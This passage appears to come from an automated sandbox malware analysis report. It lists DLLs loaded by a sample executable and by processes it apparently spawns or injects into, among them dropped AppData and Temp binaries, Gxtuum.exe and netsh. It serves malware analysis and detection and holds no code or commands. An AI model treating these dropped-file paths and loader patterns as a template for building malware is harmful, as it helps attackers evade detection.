Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
